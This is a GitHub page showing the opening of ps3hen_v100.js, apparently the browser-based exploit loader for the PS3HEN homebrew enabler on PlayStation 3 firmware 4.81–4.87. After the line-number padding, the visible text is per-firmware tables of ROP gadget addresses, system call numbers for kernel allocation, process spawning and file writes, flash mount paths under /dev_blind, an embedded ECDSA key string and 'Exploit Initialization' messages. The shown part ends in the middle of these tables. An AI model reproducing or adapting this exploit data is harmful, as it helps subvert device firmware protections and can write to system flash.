-
Notifications
You must be signed in to change notification settings - Fork 1
/
ps3hen_v100.js
2343 lines (2276 loc) · 86.3 KB
/
ps3hen_v100.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
var debug=true;
var ua = navigator.userAgent;
var fwVersion = ua.substring(ua.indexOf("5.0 (") + 19, ua.indexOf(") Apple"));
var explore_plugin_usb='/explore_plugin.sprx';
var explore_plugin_blind='/dev_blind/vsh/module/explore_plugin.sprx';
var explore_plugin_fsize=0x18CD85;
var explore_pluginrco_usb='/explore_plugin_full.rco';
var explore_pluginrco_blind='/dev_blind/vsh/resource/explore_plugin_full.rco';
var explore_pluginrco_fsize=0x227ED0;
var explore_pluginrco2_usb='/explore_category_game.rco';
var explore_pluginrco2_blind='/dev_blind/vsh/resource/explore_category_game.rco';
var explore_pluginrco2_fsize=0x3A6F4;
var category_game_usb='/category_game.xml';
var category_game_blind='/dev_blind/vsh/resource/explore/xmb/category_game.xml';
var category_game_fsize=0x8F77;
var videoplayer_plugin_usb='/videoplayer_plugin.sprx';
var videoplayer_plugin_blind='/dev_blind/vsh/module/videoplayer_plugin.sprx';
var videoplayer_plugin_fsize=0x1C166A;
var ps3hen_ecdsa_key='948DA13E8CAFD5BA0E90CE434461BB327FE7E080475EAA0AD3AD4F5B6247A7FDA86DF69790196773';
var index_key='DA7D4B5E499A4F53B1C1A14A7484443B';
var f_turnoff='/dev_hdd0/tmp/turnoff';
var idps='idps.hex';
var act='act.dat';
var start_x='xxxx';
var usb_sp='/dev_hdd0/theme/PS3HEN.p3t';
var mount_path='/dev_blind';
var flash_partition='xxxxCELL_FS_IOS:BUILTIN_FLSH1';
var filesystem='CELL_FS_FAT';
var actdat='/dev_hdd0/home/%08u/exdata/act.dat';
var userid='/setting/user/lastLoginUserId';
var rif_name_len=0x28;
var idps_len=0x10;
var act_fsize=0x1038;
var rif_fsize=0x98;
var offset_array=[];
var br="<br>";
var hr="<hr>";
var t_out=0;
var search_base_off=0x0;//0x90000;//0x100000;
var search_size_ext=0x0;
var gtemp_addr=0x8D000000;
var total_loops=0;
var max_loops=20;
var frame_fails=0;
var sp_exit=0x8FD8DCC0;
var da_func=0x5007;
var da_addr_val=0x3F;
var da_addr_val2=0x46;
var ffs=0xFFFFFFFF;
var dbyte41=0x4141;
var dbyte00=0x0000;
var byte_size=0x1;
var hword_size=0x2;
var word_size=0x4;
var dword_size=0x8;
var mbytes=0x100000;
var store_idx_arr1;
var store_idx_arr2;
var f_off_start=0x0;
var f_off=0x0;
var ppu_kalloc_id=0x111;
var ppu_kalloc_sz=0x64;
var hard_reboot=0x1200;
var sc_sm_shutdown=0x17B;
var sc_sso=0x258;
var sc_ssr=0x25A;
var sc_ssc=0x259;
var sc_proc_spawn=0x1B;
var sc_container_create=0x144;
var sc_container_destroy=0x145;
var sc_ppu_kernel_alloc=0x37;
var sc_disc_authoring=0x360;
var sc_fs_open=0x321;
var sc_fs_read=0x322;
var sc_fs_write=0x323;
var sc_fs_unlink=0x32E;
var sc_fs_close=0x324;
var sc_fs_stat=0x328;
var sc_fs_umount=0x345;
var fs_flag_readonly=0x0;
var fs_flag_create=0x241;
var fs_flag_create_append=0x441;
var fs_mode=0x1B6;
var stat_size_offset=0x28;
var toc_addr=0;
var vsh_opd_addr=0;
var vsh_opd_patch=0;
var vsh_toc_addr_screenshot=0;
var vsh_ps3hen_key_toc=0;
var default_vsh_pub_toc=0;
var toc_entry1_addr=0;
var toc_entry2_addr=0;
var toc_entry3_addr=0;
var toc_entry4_addr=0;
var toc_entry5_addr=0;
var toc_entry6_addr=0;
var gadget1_addr=0;
var gadget2_addr=0;
var gadget3_addr=0;
var gadget4_addr=0;
var gadget5_addr=0;
var gadget6_addr=0;
var gadget7_addr=0;
var gadget8_addr=0;
var gadget9_addr=0;
var gadget10_addr=0;
var gadget11_addr=0;
var gadget12_addr=0;
var gadget13_addr=0;
var gadget14_addr=0;
var gadget15_addr=0;
var gadget_mod1_addr=0;
var gadget_mod2_addr=0;
var gadget_mod3_addr=0;
var gadget_mod4a_addr=0;
var gadget_mod4b_addr=0;
var gadget_mod4c_addr=0;
var gadget_mod5_addr=0;
var gadget_mod6_addr=0;
var gadget_mod7_addr=0;
var gadget_mod8_addr=0;
var gadget_mod9_addr=0;
var gadget_mod10_addr=0;
var gadget_mod11_addr=0;
var gadget_mod12_addr=0;
var gadget_mod13_addr=0;
var gadget_mod14_addr=0;
var gadget_mod15_addr=0;
var gadget_mod16_addr=0;
var xtra_data;var stack_frame;var jump_2;var jump_1;var xtra_data_addr;var stack_frame_addr;var jump_2_addr;var jump_1_addr;
var fail_msg_frag=hr+"<h1><b>Exploit Initialization FAILED!</h1><h2><span style='color:#000000;'><a href=\"javascript:window.location.reload();\">Refresh this page</a> & try again...</span></b></h2>";
var progress_msg_frag1=hr+"<h1><b>Exploit Initialization..."+br+"<span style='color:#000000;'>Progress: ";
var progress_msg_frag2='%, please wait...</span></b></h1>';
//DEX 4.81
var toc_addr_481_d = 0x705610;
var vsh_opd_addr_481_d=0x6FBC28;
var vsh_opd_patch_481_d=0x096E14;
var vsh_toc_addr_screenshot_481_d=0x730ADC;
var vsh_ps3hen_key_toc_481_d=0x717CA4;
var default_vsh_pub_toc_481_d=0x6FD664;
var toc_entry1_addr_481_d=0x6EA4B8;
var toc_entry2_addr_481_d=0x735F98;//idps
var toc_entry3_addr_481_d=0x6EA4B0;
var toc_entry4_addr_481_d=0x750000;
var toc_entry5_addr_481_d=0x6FB780;
var toc_entry6_addr_481_d=0x0;
var gadget1_addr_481_d=0x0976BC;
var gadget2_addr_481_d=0x6112C4;
var gadget3_addr_481_d=0x0DA5A8;
var gadget4_addr_481_d=0x231120;
var gadget5_addr_481_d=0x1329D8;
var gadget6_addr_481_d=0x61CEBC;// old 0x639648 //malloc
var gadget7_addr_481_d=0x020084;//memset
var gadget8_addr_481_d=0x0200B4;//memcpy
var gadget9_addr_481_d=0x029BBC;
var gadget10_addr_481_d=0x635204;////addi 0xC0
var gadget11_addr_481_d=0x5A1CA0;
var gadget12_addr_481_d=0x0CD640; //reboot prep sub
var gadget13_addr_481_d=0x496198;// old 0x48E5A4 //free
var gadget14_addr_481_d=0x494390;
var gadget15_addr_481_d=0x491878;
var gadget_mod1_addr_481_d=0x6161B8;
var gadget_mod2_addr_481_d=0x013B74;
var gadget_mod3_addr_481_d=0x0B8EB8;
var gadget_mod4a_addr_481_d=0x0DEBD8;
var gadget_mod4b_addr_481_d=0x434368;
var gadget_mod4c_addr_481_d=0x054BA8;
var gadget_mod5_addr_481_d=0x42B4CC;
var gadget_mod6_addr_481_d=0x020CB4;
var gadget_mod7_addr_481_d=0x01A6AC;
var gadget_mod8_addr_481_d=0x2C24DC;
var gadget_mod9_addr_481_d=0x010B20;
var gadget_mod10_addr_481_d=0x1CD0B8;
var gadget_mod11_addr_481_d=0x192190;
var gadget_mod12_addr_481_d=0x63A3DC;
var gadget_mod13_addr_481_d=0x33E480;
var gadget_mod14_addr_481_d=0x63AAE0;
var gadget_mod15_addr_481_d=0x3A4C28;
var gadget_mod16_addr_481_d=0x4FEF1C;
//DEX 4.82
var toc_addr_482_d = 0x705640;
var prx_explore_plugin_toc_addr_482_d=0x0;// size 0x30
var vsh_whatsnew_patch_addr_482_d=0x0;// explore_plugin
var vsh_whatsnew_xml_addr_482_d=0x0;
var vsh_opd_addr_482_d=0x6FBC58;
var vsh_opd_patch_482_d=0x096E14;
var vsh_toc_addr_screenshot_482_d=0x730F1C;
var vsh_ps3hen_key_toc_482_d=0x7180DC;
var default_vsh_pub_toc_482_d=0x6FD694;
var toc_entry1_addr_482_d=0x6EA4B8;
var toc_entry2_addr_482_d=0x735F8C;// idps
var toc_entry3_addr_482_d=0x6EA4B0;
var toc_entry4_addr_482_d=0x750000;
var toc_entry5_addr_482_d=0x6FB7B0;
var toc_entry6_addr_482_d=0x0;
var gadget1_addr_482_d=0x0976BC;
var gadget2_addr_482_d=0x611C60;
var gadget3_addr_482_d=0x0DA5A8;
var gadget4_addr_482_d=0x231120;
var gadget5_addr_482_d=0x1329D8;
var gadget6_addr_482_d=0x61D858;// malloc
var gadget7_addr_482_d=0x020084;// memset
var gadget8_addr_482_d=0x0200B4;// memcpy
var gadget9_addr_482_d=0x029BBC;
var gadget10_addr_482_d=0x635BA0;//addi 0xC0
var gadget11_addr_482_d=0x5A20A4;// sprintf
var gadget12_addr_482_d=0x0CD640;// reboot prep sub
var gadget13_addr_482_d=0x49619C;// free
var gadget14_addr_482_d=0x494394;
var gadget15_addr_482_d=0x49187C;
var gadget_mod1_addr_482_d=0x616B54;
var gadget_mod2_addr_482_d=0x013B74;
var gadget_mod3_addr_482_d=0x0B8EB8;
var gadget_mod4a_addr_482_d=0x0DEBD8;
var gadget_mod4b_addr_482_d=0x43436C;
var gadget_mod4c_addr_482_d=0x054BA8;
var gadget_mod5_addr_482_d=0x42B4D0;
var gadget_mod6_addr_482_d=0x020CB4;
var gadget_mod7_addr_482_d=0x01A6AC;
var gadget_mod8_addr_482_d=0x2C24E0;
var gadget_mod9_addr_482_d=0x010B20;
var gadget_mod10_addr_482_d=0x1CD0B8;
var gadget_mod11_addr_482_d=0x192190;
var gadget_mod12_addr_482_d=0x63AD78;
var gadget_mod13_addr_482_d=0x33E484;
var gadget_mod14_addr_482_d=0x63B47C;
var gadget_mod15_addr_482_d=0x3A4C2C;
var gadget_mod16_addr_482_d=0x4FEF20;
var e_fopen_write_close=0x42B70C;
//CEX 4.81
var toc_addr_481 = 0x6F5520;
var default_vsh_pub_toc_481=0x6ED574;
var vsh_opd_patch_481=0x096D5C;
var vsh_opd_addr_481=0x6EBB38;
var vsh_ps3hen_key_toc_481=0x70733C;
var vsh_toc_addr_screenshot_481=0x72057C;
var toc_entry1_addr_481=0x6DA3D0;
var toc_entry2_addr_481=0x725608;
var toc_entry3_addr_481=0x6DA3C8;
var toc_entry4_addr_481=0x740000;
var toc_entry5_addr_481=0x6EB690;
var toc_entry6_addr_481=0x0;
var gadget1_addr_481=0x097604;
var gadget2_addr_481=0x6096A8;
var gadget3_addr_481=0x0D505C;
var gadget4_addr_481=0x229838;
var gadget5_addr_481=0x12BB1C;
var gadget6_addr_481=0x6152A0;//malloc
var gadget7_addr_481=0x01FFD0;//memset
var gadget8_addr_481=0x020000;//memcpy
var gadget9_addr_481=0x029B08;
var gadget10_addr_481=0x62D5E8;
var gadget11_addr_481=0x59A0AC;
var gadget12_addr_481=0x0C864C;
var gadget13_addr_481=0x48E5A0;//free
var gadget14_addr_481=0x48C79C;
var gadget15_addr_481=0x489C84;
var gadget_mod1_addr_481=0x60E59C;//
var gadget_mod2_addr_481=0x013B74;
var gadget_mod3_addr_481=0x0B8E00;
var gadget_mod4a_addr_481=0x0D9684;//
var gadget_mod4b_addr_481=0x42C774;//
var gadget_mod4c_addr_481=0x054AF0;
var gadget_mod5_addr_481=0x4238D8;
var gadget_mod6_addr_481=0x4E23F0;
var gadget_mod7_addr_481=0x01A6AC;
var gadget_mod8_addr_481=0x2BACB4;
var gadget_mod9_addr_481=0x010B20;
var gadget_mod10_addr_481=0x1C5794;
var gadget_mod11_addr_481=0x18B144;
var gadget_mod12_addr_481=0x6327C0;
var gadget_mod13_addr_481=0x33686C;
var gadget_mod14_addr_481=0x632EC4;
var gadget_mod15_addr_481=0x39D034;
var gadget_mod16_addr_481=0x4F7328;
//CEX 4.82
var toc_addr_482 = 0x6F5550;
var default_vsh_pub_toc_482=0x6ED5A4;
var vsh_opd_patch_482=0x96D5C;
var vsh_opd_addr_482=0x6EBB68;
var vsh_toc_addr_screenshot_482=0x72057C;
var vsh_ps3hen_key_toc_482=0x707774;
var toc_entry1_addr_482=0x6DA3D0;
var toc_entry2_addr_482=0x725A38;//idps
var toc_entry3_addr_482=0x6DA3C8;
var toc_entry4_addr_482=0x740000;
var toc_entry5_addr_482=0x6EB6C0;
var toc_entry6_addr_482=0x0;
var gadget1_addr_482=0x097604;
var gadget2_addr_482=0x60A044;
var gadget3_addr_482=0x0D505C;
var gadget4_addr_482=0x229838;
var gadget5_addr_482=0x12BB1C;
var gadget6_addr_482=0x615C3C;//malloc
var gadget7_addr_482=0x01FFD0;//memset
var gadget8_addr_482=0x020000;//memcpy
var gadget9_addr_482=0x029B08;
var gadget10_addr_482=0x62DF84;
var gadget11_addr_482=0x59A4B0;
var gadget12_addr_482=0x0C864C;
var gadget13_addr_482=0x48E5A8;//free
var gadget14_addr_482=0x48C7A0;
var gadget15_addr_482=0x489C88;
var gadget_mod1_addr_482=0x60EF38;
var gadget_mod2_addr_482=0x013B74;
var gadget_mod3_addr_482=0x0B8E00;
var gadget_mod4a_addr_482=0x0D9684;
var gadget_mod4b_addr_482=0x42C778;
var gadget_mod4c_addr_482=0x054AF0; //load r5 word
var gadget_mod5_addr_482=0x4238DC;
var gadget_mod6_addr_482=0x020C00;
var gadget_mod7_addr_482=0x01A6AC;
var gadget_mod8_addr_482=0x2BACB8;
var gadget_mod9_addr_482=0x010B20;
var gadget_mod10_addr_482=0x1C5794;
var gadget_mod11_addr_482=0x18B144;
var gadget_mod12_addr_482=0x63315C; //validation gadget
var gadget_mod13_addr_482=0x336870; //store_r3 gadget
var gadget_mod14_addr_482=0x633860; //load r3 dword
var gadget_mod15_addr_482=0x39D038; //load r3 word
var gadget_mod16_addr_482=0x4F732C; //set toc
//CEX 4.83
var toc_addr_483 = 0x6F5558;
var default_vsh_pub_toc_483=0x6ED5AC;
var vsh_opd_patch_483=0x96D5C;
var vsh_opd_addr_483=0x6EBB70;
var vsh_toc_addr_screenshot_483=0x72067C;
var vsh_ps3hen_key_toc_483=0x70786C;
var toc_entry1_addr_483=0x6DA3D0;
var toc_entry2_addr_483=0x725B38;//idps
var toc_entry3_addr_483=0x6DA3C8;
var toc_entry4_addr_483=0x740000;
var toc_entry5_addr_483=0x6EB6C8;
var toc_entry6_addr_483=0x0;
var gadget1_addr_483=0x097604;
var gadget2_addr_483=0x60A0E4;
var gadget3_addr_483=0x0D505C;
var gadget4_addr_483=0x229838;
var gadget5_addr_483=0x12BB1C;
var gadget6_addr_483=0x615CDC;//malloc
var gadget7_addr_483=0x01FFD0;//memset
var gadget8_addr_483=0x020000;//memcpy
var gadget9_addr_483=0x029B08;
var gadget10_addr_483=0x62E024;
var gadget11_addr_483=0x59A4B0;
var gadget12_addr_483=0x0C864C;
var gadget13_addr_483=0x48E5A8;//free
var gadget14_addr_483=0x48C7A0;
var gadget15_addr_483=0x489C88;
var gadget_mod1_addr_483=0x60EFD8;
var gadget_mod2_addr_483=0x013B74;
var gadget_mod3_addr_483=0x0B8E00;
var gadget_mod4a_addr_483=0x0D9684;
var gadget_mod4b_addr_483=0x42C778;
var gadget_mod4c_addr_483=0x054AF0; //load r5 word
var gadget_mod5_addr_483=0x4238DC;
var gadget_mod6_addr_483=0x020C00;
var gadget_mod7_addr_483=0x01A6AC;
var gadget_mod8_addr_483=0x2BACB8;
var gadget_mod9_addr_483=0x010B20;
var gadget_mod10_addr_483=0x1C5794;
var gadget_mod11_addr_483=0x18B144;
var gadget_mod12_addr_483=0x6331FC; //validation gadget
var gadget_mod13_addr_483=0x336870; //store_r3 gadget
var gadget_mod14_addr_483=0x633900; //load r3 dword
var gadget_mod15_addr_483=0x39D038; //load r3 word
var gadget_mod16_addr_483=0x4F732C; //set toc
//DEX 4.84
var toc_addr_484_d = 0x705648;
var prx_explore_plugin_toc_addr_484_d=0x0;// size 0x30
var vsh_whatsnew_patch_addr_484_d=0x0;// explore_plugin
var vsh_whatsnew_xml_addr_484_d=0x0;
var vsh_opd_addr_484_d=0x6FBC60;
var vsh_opd_patch_484_d=0x096E14;
var vsh_toc_addr_screenshot_484_d=0x73100C;
var vsh_ps3hen_key_toc_484_d=0x7181D4;
var default_vsh_pub_toc_484_d=0x6FD69C;
var toc_entry1_addr_484_d=0x6EA4B8;
var toc_entry2_addr_484_d=0x7364C8;// idps
var toc_entry3_addr_484_d=0x6EA4B0;
var toc_entry4_addr_484_d=0x750000;
var toc_entry5_addr_484_d=0x6FB7B8;
var toc_entry6_addr_484_d=0x0;
var gadget1_addr_484_d=0x0976BC;
var gadget2_addr_484_d=0x611D00;
var gadget3_addr_484_d=0x0DA5A8;
var gadget4_addr_484_d=0x231120;
var gadget5_addr_484_d=0x1329D8;
var gadget6_addr_484_d=0x61D8F8;// malloc
var gadget7_addr_484_d=0x020084;// memset
var gadget8_addr_484_d=0x0200B4;// memcpy
var gadget9_addr_484_d=0x029BBC;
var gadget10_addr_484_d=0x635C40;//addi 0xC0
var gadget11_addr_484_d=0x5A20A4;// sprintf
var gadget12_addr_484_d=0x0CD640;// reboot prep sub
var gadget13_addr_484_d=0x49619C;// free
var gadget14_addr_484_d=0x494394;
var gadget15_addr_484_d=0x49187C;
var gadget_mod1_addr_484_d=0x616BF4;
var gadget_mod2_addr_484_d=0x013B74;
var gadget_mod3_addr_484_d=0x0B8EB8;
var gadget_mod4a_addr_484_d=0x0DEBD8;
var gadget_mod4b_addr_484_d=0x43436C;
var gadget_mod4c_addr_484_d=0x054BA8;
var gadget_mod5_addr_484_d=0x42B4D0;
var gadget_mod6_addr_484_d=0x020CB4;
var gadget_mod7_addr_484_d=0x01A6AC;
var gadget_mod8_addr_484_d=0x2C24E0;
var gadget_mod9_addr_484_d=0x010B20;
var gadget_mod10_addr_484_d=0x1CD0B8;
var gadget_mod11_addr_484_d=0x192190;
var gadget_mod12_addr_484_d=0x63AE18;
var gadget_mod13_addr_484_d=0x33E484;
var gadget_mod14_addr_484_d=0x63B51C;
var gadget_mod15_addr_484_d=0x3A4C2C;
var gadget_mod16_addr_484_d=0x4FEF20;
var e_fopen_write_close=0x42B70C;
//CEX 4.84
var toc_addr_484 = 0x6F5558;
var default_vsh_pub_toc_484=0x6ED5AC;
var vsh_opd_patch_484=0x96D5C;
var vsh_opd_addr_484=0x6EBB70;
var vsh_toc_addr_screenshot_484=0x72067C;
var vsh_ps3hen_key_toc_484=0x70786C;
var toc_entry1_addr_484=0x6DA3D0;
var toc_entry2_addr_484=0x725B38;//idps
var toc_entry3_addr_484=0x6DA3C8;
var toc_entry4_addr_484=0x740000;
var toc_entry5_addr_484=0x6EB6C8;
var toc_entry6_addr_484=0x0;
var gadget1_addr_484=0x097604;
var gadget2_addr_484=0x60A0E4;
var gadget3_addr_484=0x0D505C;
var gadget4_addr_484=0x229838;
var gadget5_addr_484=0x12BB1C;
var gadget6_addr_484=0x615CDC;//malloc
var gadget7_addr_484=0x01FFD0;//memset
var gadget8_addr_484=0x020000;//memcpy
var gadget9_addr_484=0x029B08;
var gadget10_addr_484=0x62E024;
var gadget11_addr_484=0x59A4B0;
var gadget12_addr_484=0x0C864C;
var gadget13_addr_484=0x48E5A8;//free
var gadget14_addr_484=0x48C7A0;
var gadget15_addr_484=0x489C88;
var gadget_mod1_addr_484=0x60EFD8;
var gadget_mod2_addr_484=0x013B74;
var gadget_mod3_addr_484=0x0B8E00;
var gadget_mod4a_addr_484=0x0D9684;
var gadget_mod4b_addr_484=0x42C778;
var gadget_mod4c_addr_484=0x054AF0; //load r5 word
var gadget_mod5_addr_484=0x4238DC;
var gadget_mod6_addr_484=0x020C00;
var gadget_mod7_addr_484=0x01A6AC;
var gadget_mod8_addr_484=0x2BACB8;
var gadget_mod9_addr_484=0x010B20;
var gadget_mod10_addr_484=0x1C5794;
var gadget_mod11_addr_484=0x18B144;
var gadget_mod12_addr_484=0x6331FC; //validation gadget
var gadget_mod13_addr_484=0x336870; //store_r3 gadget
var gadget_mod14_addr_484=0x633900; //load r3 dword
var gadget_mod15_addr_484=0x39D038; //load r3 word
var gadget_mod16_addr_484=0x4F732C; //set toc
//CEX 4.85
var toc_addr_485 = 0x6F5558;
var default_vsh_pub_toc_485=0x6ED5AC;
var vsh_opd_patch_485=0x96D5C;
var vsh_opd_addr_485=0x6EBB70;
var vsh_toc_addr_screenshot_485=0x72067C;
var vsh_ps3hen_key_toc_485=0x70786C;
var toc_entry1_addr_485=0x6DA3D0;
var toc_entry2_addr_485=0x725B38;//idps
var toc_entry3_addr_485=0x6DA3C8;
var toc_entry4_addr_485=0x740000;
var toc_entry5_addr_485=0x6EB6C8;
var toc_entry6_addr_485=0x0;
var gadget1_addr_485=0x097604;
var gadget2_addr_485=0x60A0E4;
var gadget3_addr_485=0x0D505C;
var gadget4_addr_485=0x229838;
var gadget5_addr_485=0x12BB1C;
var gadget6_addr_485=0x615CDC;//malloc
var gadget7_addr_485=0x01FFD0;//memset
var gadget8_addr_485=0x020000;//memcpy
var gadget9_addr_485=0x029B08;
var gadget10_addr_485=0x62E024;
var gadget11_addr_485=0x59A4B0;
var gadget12_addr_485=0x0C864C;
var gadget13_addr_485=0x48E5A8;//free
var gadget14_addr_485=0x48C7A0;
var gadget15_addr_485=0x489C88;
var gadget_mod1_addr_485=0x60EFD8;
var gadget_mod2_addr_485=0x013B74;
var gadget_mod3_addr_485=0x0B8E00;
var gadget_mod4a_addr_485=0x0D9684;
var gadget_mod4b_addr_485=0x42C778;
var gadget_mod4c_addr_485=0x054AF0; //load r5 word
var gadget_mod5_addr_485=0x4238DC;
var gadget_mod6_addr_485=0x020C00;
var gadget_mod7_addr_485=0x01A6AC;
var gadget_mod8_addr_485=0x2BACB8;
var gadget_mod9_addr_485=0x010B20;
var gadget_mod10_addr_485=0x1C5794;
var gadget_mod11_addr_485=0x18B144;
var gadget_mod12_addr_485=0x6331FC; //validation gadget
var gadget_mod13_addr_485=0x336870; //store_r3 gadget
var gadget_mod14_addr_485=0x633900; //load r3 dword
var gadget_mod15_addr_485=0x39D038; //load r3 word
var gadget_mod16_addr_485=0x4F732C; //set toc
//CEX 4.86
var toc_addr_486 = 0x6F5558;
var default_vsh_pub_toc_486=0x6ED5AC;
var vsh_opd_patch_486=0x96D5C;
var vsh_opd_addr_486=0x6EBB70;
var vsh_toc_addr_screenshot_486=0x72082C;// Updated From 4.83/4.84/4.85
var vsh_ps3hen_key_toc_486=0x707A1C;// Updated From 4.83/4.84/4.85
var toc_entry1_addr_486=0x6DA3D0;
var toc_entry2_addr_486=0x725CE8;//idps Updated From 4.83/4.84/4.85
var toc_entry3_addr_486=0x6DA3C8;
var toc_entry4_addr_486=0x740000;
var toc_entry5_addr_486=0x6EB6C8;
var toc_entry6_addr_486=0x0;
var gadget1_addr_486=0x097604;
var gadget2_addr_486=0x60A0E4;
var gadget3_addr_486=0x0D505C;
var gadget4_addr_486=0x229838;
var gadget5_addr_486=0x12BB1C;
var gadget6_addr_486=0x615CDC;//malloc
var gadget7_addr_486=0x01FFD0;//memset
var gadget8_addr_486=0x020000;//memcpy
var gadget9_addr_486=0x029B08;
var gadget10_addr_486=0x62E024;
var gadget11_addr_486=0x59A4B0;// sprintf
var gadget12_addr_486=0x0C864C;
var gadget13_addr_486=0x48E5A8;//free
var gadget14_addr_486=0x48C7A0;
var gadget15_addr_486=0x489C88;
var gadget_mod1_addr_486=0x60EFD8;
var gadget_mod2_addr_486=0x013B74;
var gadget_mod3_addr_486=0x0B8E00;
var gadget_mod4a_addr_486=0x0D9684;
var gadget_mod4b_addr_486=0x42C778;
var gadget_mod4c_addr_486=0x054AF0; //load r5 word
var gadget_mod5_addr_486=0x4238DC;
var gadget_mod6_addr_486=0x020C00;
var gadget_mod7_addr_486=0x01A6AC;
var gadget_mod8_addr_486=0x2BACB8;// graceful exit
var gadget_mod9_addr_486=0x010B20;
var gadget_mod10_addr_486=0x1C5794;
var gadget_mod11_addr_486=0x18B144;
var gadget_mod12_addr_486=0x6331FC; //validation gadget
var gadget_mod13_addr_486=0x336870; //store_r3 gadget
var gadget_mod14_addr_486=0x633900; //load r3 dword
var gadget_mod15_addr_486=0x39D038; //load r3 word
var gadget_mod16_addr_486=0x4F732C; //set toc
//CEX 4.87
var toc_addr_487 = 0x6F5558;
var default_vsh_pub_toc_487=0x6ED5AC;
var vsh_opd_patch_487=0x96D5C;
var vsh_opd_addr_487=0x6EBB70;
var vsh_toc_addr_screenshot_487=0x72082C;// Updated From 4.83/4.84/4.85
var vsh_ps3hen_key_toc_487=0x707A1C;// Updated From 4.83/4.84/4.85
var toc_entry1_addr_487=0x6DA3D0;
var toc_entry2_addr_487=0x725CE8;//idps Updated From 4.83/4.84/4.85
var toc_entry3_addr_487=0x6DA3C8;
var toc_entry4_addr_487=0x740000;
var toc_entry5_addr_487=0x6EB6C8;
var toc_entry6_addr_487=0x0;
var gadget1_addr_487=0x097604;
var gadget2_addr_487=0x60A0E4;
var gadget3_addr_487=0x0D505C;
var gadget4_addr_487=0x229838;
var gadget5_addr_487=0x12BB1C;
var gadget6_addr_487=0x615CDC;//malloc
var gadget7_addr_487=0x01FFD0;//memset
var gadget8_addr_487=0x020000;//memcpy
var gadget9_addr_487=0x029B08;
var gadget10_addr_487=0x62E024;
var gadget11_addr_487=0x59A4B0;// sprintf
var gadget12_addr_487=0x0C864C;
var gadget13_addr_487=0x48E5A8;//free
var gadget14_addr_487=0x48C7A0;
var gadget15_addr_487=0x489C88;
var gadget_mod1_addr_487=0x60EFD8;
var gadget_mod2_addr_487=0x013B74;
var gadget_mod3_addr_487=0x0B8E00;
var gadget_mod4a_addr_487=0x0D9684;
var gadget_mod4b_addr_487=0x42C778;
var gadget_mod4c_addr_487=0x054AF0; //load r5 word
var gadget_mod5_addr_487=0x4238DC;
var gadget_mod6_addr_487=0x020C00;
var gadget_mod7_addr_487=0x01A6AC;
var gadget_mod8_addr_487=0x2BACB8;// graceful exit
var gadget_mod9_addr_487=0x010B20;
var gadget_mod10_addr_487=0x1C5794;
var gadget_mod11_addr_487=0x18B144;
var gadget_mod12_addr_487=0x6331FC; //validation gadget
var gadget_mod13_addr_487=0x336870; //store_r3 gadget
var gadget_mod14_addr_487=0x633900; //load r3 dword
